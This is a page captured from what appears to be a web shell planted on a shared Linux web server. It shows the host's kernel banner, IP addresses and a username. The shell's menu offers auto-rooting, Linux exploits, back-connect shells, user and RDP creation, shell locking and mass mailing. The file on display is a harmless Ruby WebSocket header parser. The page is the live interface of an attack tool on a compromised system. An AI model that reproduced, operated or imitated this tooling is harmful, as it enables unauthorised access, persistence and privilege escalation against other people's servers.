Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
websocket /
http /
[ HOME SHELL ]
Name
Size
Permission
Action
headers.rb
2.72
KB
-rw-r--r--
request.rb
1.12
KB
-rw-r--r--
response.rb
481
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : headers.rb
module WebSocket module HTTP module Headers MAX_LINE_LENGTH = 4096 CR = 0x0D LF = 0x0A # RFC 2616 grammar rules: # # CHAR = <any US-ASCII character (octets 0 - 127)> # # CTL = <any US-ASCII control character # (octets 0 - 31) and DEL (127)> # # SP = <US-ASCII SP, space (32)> # # HT = <US-ASCII HT, horizontal-tab (9)> # # token = 1*<any CHAR except CTLs or separators> # # separators = "(" | ")" | "<" | ">" | "@" # | "," | ";" | ":" | "\" | <"> # | "/" | "[" | "]" | "?" | "=" # | "{" | "}" | SP | HT # # Or, as redefined in RFC 7230: # # token = 1*tchar # # tchar = "!" / "#" / "$" / "%" / "&" / "'" / "*" # / "+" / "-" / "." / "^" / "_" / "`" / "|" / "~" # / DIGIT / ALPHA # ; any VCHAR, except delimiters HEADER_LINE = /^([!#\$%&'\*\+\-\.\^_`\|~0-9a-z]+):\s*([\x20-\x7e]*?)\s*$/i attr_reader :headers def initialize @buffer = [] @headers = {} @stage = 0 end def complete? @stage == 2 end def error? @stage == -1 end def parse(chunk) chunk.each_byte do |octet| if octet == LF and @stage < 2 @buffer.pop if @buffer.last == CR if @buffer.empty? complete if @stage == 1 else result = case @stage when 0 then start_line(string_buffer) when 1 then header_line(string_buffer) end if result @stage = 1 else error end end @buffer = [] else @buffer << octet if @stage >= 0 error if @stage < 2 and @buffer.size > MAX_LINE_LENGTH end end @env['rack.input'] = StringIO.new(string_buffer) if @env end private def complete @stage = 2 end def error @stage = -1 end def header_line(line) return false unless parsed = line.scan(HEADER_LINE).first key = HTTP.normalize_header(parsed[0]) value = parsed[1].strip if @headers.has_key?(key) @headers[key] << ', ' << value else @headers[key] = value end true end def string_buffer @buffer.pack('C*') end end end end
Close